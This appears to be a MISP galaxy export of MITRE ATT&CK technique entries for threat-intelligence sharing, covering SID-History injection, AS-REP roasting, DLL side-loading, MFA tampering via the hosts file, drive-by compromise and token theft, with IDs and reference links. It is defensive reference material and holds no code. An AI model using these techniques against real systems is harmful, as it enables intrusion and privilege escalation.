Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.
Internal MISP references
UUID b7dc639b-24cd-482d-a7f1-8897eda21023 which can be used as unique global reference for SID-History Injection - T1134.005 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=1772 - webarchive
- https://attack.mitre.org/techniques/T1134/005 - webarchive
- https://msdn.microsoft.com/library/ms677982.aspx - webarchive
- https://msdn.microsoft.com/library/ms679833.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx - webarchive
- https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems - webarchive
- https://technet.microsoft.com/library/ee617241.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1134.005 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Process: OS API Execution', 'User Account: User Account Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
One-Way Communication - T1481.003
Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.
Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Internal MISP references
UUID d916f176-a1ca-4a78-9fdd-4058bc28162e which can be used as unique global reference for One-Way Communication - T1481.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1481.003 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Wi-Fi Discovery - T1422.002
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of Discovery or Credential Access activity to support both ongoing and future campaigns.
Internal MISP references
UUID be63612f-a48f-44f2-a7a6-1763509fcf80 which can be used as unique global reference for Wi-Fi Discovery - T1422.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1422.002 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
DLL Side-Loading - T1574.002
Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
Internal MISP references
UUID e64c62cf-9cd7-4a14-94ec-cdaac43ab44b which can be used as unique global reference for DLL Side-Loading - T1574.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.002 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
AS-REP Roasting - T1558.004
Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)
Preauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014)
For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)
An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)
Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.(Citation: SANS Attacking Kerberos Nov 2014)
Internal MISP references
UUID 3986e7fd-a8e9-4ecb-bfc6-55920855912b which can be used as unique global reference for AS-REP Roasting - T1558.004 in MISP communities and other software using the MISP galaxy
External references
- http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ - webarchive
- https://adsecurity.org/?p=2293 - webarchive
- https://attack.mitre.org/techniques/T1558/004 - webarchive
- https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/ - webarchive
- https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 - webarchive
- https://redsiege.com/kerberoast-slides - webarchive
- https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1558.004 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Re-opened Applications - T1547.007
Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.
Adversaries can establish Persistence by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.
Internal MISP references
UUID e5cc9e7a-e61a-46a1-b869-55fb6eab058e which can be used as unique global reference for Re-opened Applications - T1547.007 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.007 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Multi-Factor Authentication - T1556.006
Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.
Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)
For example, modifying the Windows hosts file (C:\windows\system32\drivers\etc\hosts) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022)
Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022)
Internal MISP references
UUID b4409cd8-0da9-46e1-a401-a241afd4d1cc which can be used as unique global reference for Multi-Factor Authentication - T1556.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.006 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Azure-AD:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:persistence', 'attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-SaaS:persistence', 'attack-IaaS:persistence', 'attack-Google-Workspace:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'User Account: User Account Modification'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Obtain/re-use payloads - T1346
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)
Internal MISP references
UUID 27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768 which can be used as unique global reference for Obtain/re-use payloads - T1346 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1346 |
| kill_chain | ['pre-attack:build-capabilities'] |
Multi-Stage Channels - T1104
Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.
Internal MISP references
UUID 84e02621-8fdf-470f-bd58-993bb6a89d91 which can be used as unique global reference for Multi-Stage Channels - T1104 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1104 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
DLL Side-Loading - T1073
Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)
Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.
Internal MISP references
UUID b2001907-166b-4d71-bb3c-9d26c871de09 which can be used as unique global reference for DLL Side-Loading - T1073 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1073 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Command-Line Interface - T1605
Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s Runtime package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken.
If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.
Internal MISP references
UUID e083305c-49e7-4c87-aae8-9689213bffbe which can be used as unique global reference for Command-Line Interface - T1605 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1605 |
| kill_chain | ['mobile-attack-Android:execution', 'mobile-attack-iOS:execution'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Non-Standard Port - T1509
Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Internal MISP references
UUID 948a447c-d783-4ba0-8516-a64140fcacd5 which can be used as unique global reference for Non-Standard Port - T1509 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1509 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Re-opened Applications - T1164
Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist.
An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).
Internal MISP references
UUID 6a3be63a-64c5-4678-a036-03ff8fc35300 which can be used as unique global reference for Re-opened Applications - T1164 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1164 |
| kill_chain | ['attack-macOS:persistence'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Non-Standard Port - T1571
Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)
Internal MISP references
UUID b18eae87-b469-4e14-b454-b171b416bc18 which can be used as unique global reference for Non-Standard Port - T1571 in MISP communities and other software using the MISP galaxy
External references
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1571 - webarchive
- https://twitter.com/TheDFIRReport/status/1498657772254240768 - webarchive
- https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html - webarchive
- https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1571 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
SID-History Injection - T1178
The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.
Internal MISP references
UUID 1df0326d-2fbc-4d08-a16b-48365f1e742d which can be used as unique global reference for SID-History Injection - T1178 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=1772 - webarchive
- https://attack.mitre.org/techniques/T1178 - webarchive
- https://msdn.microsoft.com/library/ms677982.aspx - webarchive
- https://msdn.microsoft.com/library/ms679833.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx - webarchive
- https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems - webarchive
- https://technet.microsoft.com/library/ee617241.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1178 |
| kill_chain | ['attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Multi-hop Proxy - T1188
To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Internal MISP references
UUID 7d751199-05fa-4a72-920f-85df4506c76c which can be used as unique global reference for Multi-hop Proxy - T1188 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1188 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Drive-by Compromise - T1189
Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token.
Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including:
- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting
- Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary
- Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising)
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)
Typical drive-by compromise process:
- A user visits a website that is used to host the adversary controlled content.
- Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
- The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
- Upon finding a vulnerable version, exploit code is delivered to the browser.
- If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
- In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Adversaries may also use compromised websites to deliver a user to a malicious application designed to Steal Application Access Tokens, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)
Internal MISP references
UUID d742a578-d70e-4d0e-96a6-02a9c30204e6 which can be used as unique global reference for Drive-by Compromise - T1189 in MISP communities and other software using the MISP galaxy
External references
- http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/ - webarchive
- https://attack.mitre.org/techniques/T1189 - webarchive
- https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1189 |
| kill_chain | ['attack-Windows:initial-access', 'attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-SaaS:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'SaaS'] |
Pre-OS Boot - T1542
Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)
Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
Internal MISP references
UUID 7f0ca133-88c4-40c6-a62f-b3083a7fbc2e which can be used as unique global reference for Pre-OS Boot - T1542 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1542 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:persistence', 'attack-Windows:persistence', 'attack-Network:persistence', 'attack-macOS:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Drive: Drive Modification', 'Driver: Driver Metadata', 'Firmware: Firmware Modification', 'Network Traffic: Network Connection Creation', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'Windows', 'Network', 'macOS'] |
Drive-By Compromise - T1456
Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an Application Access Token.
Multiple ways of delivering exploit code to a browser exist, including:
- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
- Malicious ads are paid for and served through legitimate ad providers.
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Lookout-StealthMango)
Typical drive-by compromise process:
- A user visits a website that is used to host the adversary controlled content.
- Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
- The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
- Upon finding a vulnerable version, exploit code is delivered to the browser.
- If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
- In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
Internal MISP references
UUID fd339382-bfec-4bf0-8d47-1caedc9e7e57 which can be used as unique global reference for Drive-By Compromise - T1456 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1456 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Inter-Process Communication - T1559
Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.
Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)
Internal MISP references
UUID acd0ba37-7ba9-4cc5-ac61-796586cd856d which can be used as unique global reference for Inter-Process Communication - T1559 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1559 - webarchive
- https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html - webarchive
- https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them. - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1559 |
| kill_chain | ['attack-Windows:execution', 'attack-macOS:execution', 'attack-Linux:execution'] |
| mitre_data_sources | ['Module: Module Load', 'Process: Process Access', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Token Impersonation/Theft - T1134.001
Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using DuplicateToken or DuplicateTokenEx.(Citation: DuplicateToken function) The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.
An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.
When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using CreateProcessWithTokenW or CreateProcessAsUserW. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.
Internal MISP references
UUID 86850eff-2729-40c3-b85e-c4af26da4a2d which can be used as unique global reference for Token Impersonation/Theft - T1134.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1134/001 - webarchive
- https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken - webarchive
- https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1134.001 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Encrypted/Encoded File - T1027.013
Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.
This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64.
The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.
For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution).(Citation: SFX - Encrypted/Encoded File)
Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.
Internal MISP references
UUID 0d91b3c0-5e50-47c3-949a-2a796f04d144 which can be used as unique global reference for Encrypted/Encoded File - T1027.013 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.013 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
DNS/Passive DNS - T1596.001
Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.
Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).
Internal MISP references
UUID 17fd695c-b88c-455a-a3d1-43b6cb728532 which can be used as unique global reference for DNS/Passive DNS - T1596.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1596.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
File/Path Exclusions - T1564.012
